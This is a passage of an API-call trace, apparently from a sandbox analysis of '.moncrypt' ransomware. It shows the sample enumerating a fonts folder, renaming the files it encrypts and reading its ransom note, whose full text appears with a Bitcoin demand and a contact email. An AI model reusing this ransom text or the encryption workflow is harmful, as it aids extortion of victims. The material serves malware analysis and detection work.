lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0056.125] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0056.125] CloseHandle (hObject=0x18c) returned 1 [0056.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0056.140] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0056.140] CloseHandle (hObject=0x18c) returned 1 [0056.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.moncrypt", dwFileAttributes=0x20) returned 1 [0056.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0056.141] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.141] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.141] GlobalUnlock (hMem=0x44000c) returned 0 [0056.141] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.141] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.141] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.141] GlobalUnlock (hMem=0x44000c) returned 0 [0056.141] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.141] GlobalUnlock (hMem=0x440004) returned 0 [0056.141] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0056.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42429200, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42429200, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42429200, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0056.142] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0056.142] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0056.142] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0056.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0056.142] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0056.142] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0056.142] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0056.142] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0056.142] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0056.142] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0056.142] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0056.142] CloseHandle (hObject=0x18c) returned 1 [0056.143] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0056.143] GetLastError () returned 0x12 [0056.143] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.143] GlobalLock (hMem=0x440004) returned 0x550170 [0056.143] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.143] GlobalUnlock (hMem=0x440004) returned 0 [0056.143] GlobalLock (hMem=0x440004) returned 0x550170 [0056.143] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.143] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.143] GlobalUnlock (hMem=0x440004) returned 0 [0056.143] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.143] GlobalUnlock (hMem=0x44000c) returned 0 [0056.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d78, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0056.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x42a1c900, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42a1c900, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0056.143] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0056.143] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.143] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.143] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.143] GlobalUnlock (hMem=0x44000c) returned 0 [0056.143] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.143] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.143] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.144] GlobalUnlock (hMem=0x44000c) returned 0 [0056.144] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.144] GlobalUnlock (hMem=0x440004) returned 0 [0056.144] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.144] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x42a1c900, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42a1c900, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.144] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.144] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.144] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.144] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.144] GlobalUnlock (hMem=0x440004) returned 0 [0056.144] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.144] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.144] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.144] GlobalUnlock (hMem=0x440004) returned 0 [0056.144] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.144] GlobalUnlock (hMem=0x44000c) returned 0 [0056.144] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.144] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f3af, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX.moncrypt", cAlternateFileName="BIGFON~1.MON")) returned 1 [0056.144] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.144] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.144] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.144] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.144] GlobalUnlock (hMem=0x44000c) returned 0 [0056.144] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.144] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.144] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.145] GlobalUnlock (hMem=0x44000c) returned 0 [0056.145] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.145] GlobalUnlock (hMem=0x440004) returned 0 [0056.145] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.145] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa26e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX.moncrypt", cAlternateFileName="CHINES~1.MON")) returned 1 [0056.145] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.145] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.145] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.145] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.145] GlobalUnlock (hMem=0x440004) returned 0 [0056.145] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.145] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.145] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.145] GlobalUnlock (hMem=0x440004) returned 0 [0056.145] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.145] GlobalUnlock (hMem=0x44000c) returned 0 [0056.145] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.145] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6aaab, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX.moncrypt", cAlternateFileName="EXTFON~1.MON")) returned 1 [0056.145] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.145] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.145] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.145] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.145] GlobalUnlock (hMem=0x44000c) returned 0 [0056.145] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.145] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.145] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.145] GlobalUnlock (hMem=0x44000c) returned 0 [0056.146] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.146] GlobalUnlock (hMem=0x440004) returned 0 [0056.146] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.146] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc77e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX.moncrypt", cAlternateFileName="GBCBIG~1.MON")) returned 1 [0056.146] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.146] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.146] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.146] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.146] GlobalUnlock (hMem=0x440004) returned 0 [0056.146] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.146] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.146] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.146] GlobalUnlock (hMem=0x440004) returned 0 [0056.146] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.146] GlobalUnlock (hMem=0x44000c) returned 0 [0056.146] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.146] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42429200, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42429200, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42429200, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0056.146] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.146] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.146] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.146] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.146] GlobalUnlock (hMem=0x44000c) returned 0 [0056.146] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.146] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.146] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.146] GlobalUnlock (hMem=0x44000c) returned 0 [0056.146] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.146] GlobalUnlock (hMem=0x440004) returned 0 [0056.147] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.147] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX.moncrypt", cAlternateFileName="IC-TXT~1.MON")) returned 1 [0056.147] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.147] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.147] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.147] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.147] GlobalUnlock (hMem=0x440004) returned 0 [0056.147] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.147] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.147] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.147] GlobalUnlock (hMem=0x440004) returned 0 [0056.147] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.147] GlobalUnlock (hMem=0x44000c) returned 0 [0056.147] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.147] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP.moncrypt", cAlternateFileName="ICADFM~1.MON")) returned 1 [0056.147] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.147] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.147] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.147] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.147] GlobalUnlock (hMem=0x44000c) returned 0 [0056.147] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.147] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.147] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.147] GlobalUnlock (hMem=0x44000c) returned 0 [0056.147] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.147] GlobalUnlock (hMem=0x440004) returned 0 [0056.148] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.148] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x36a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX.moncrypt", cAlternateFileName="WHGDTX~1.MON")) returned 1 [0056.148] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.148] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.148] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.148] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.148] GlobalUnlock (hMem=0x440004) returned 0 [0056.148] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.148] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.148] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.148] GlobalUnlock (hMem=0x440004) returned 0 [0056.148] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.148] GlobalUnlock (hMem=0x44000c) returned 0 [0056.148] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.148] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2feaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX.moncrypt", cAlternateFileName="WHGTXT~1.MON")) returned 1 [0056.148] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.148] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.148] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.148] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.148] GlobalUnlock (hMem=0x44000c) returned 0 [0056.148] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.148] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.148] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.148] GlobalUnlock (hMem=0x44000c) returned 0 [0056.148] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.148] GlobalUnlock (hMem=0x440004) returned 0 [0056.148] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.149] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX.moncrypt", cAlternateFileName="WHTGTX~1.MON")) returned 1 [0056.149] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.149] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.149] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.149] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.149] GlobalUnlock (hMem=0x440004) returned 0 [0056.149] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.149] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.149] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.149] GlobalUnlock (hMem=0x440004) returned 0 [0056.149] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.149] GlobalUnlock (hMem=0x44000c) returned 0 [0056.149] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.149] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfd5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX.moncrypt", cAlternateFileName="WHTMTX~1.MON")) returned 1 [0056.149] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.149] 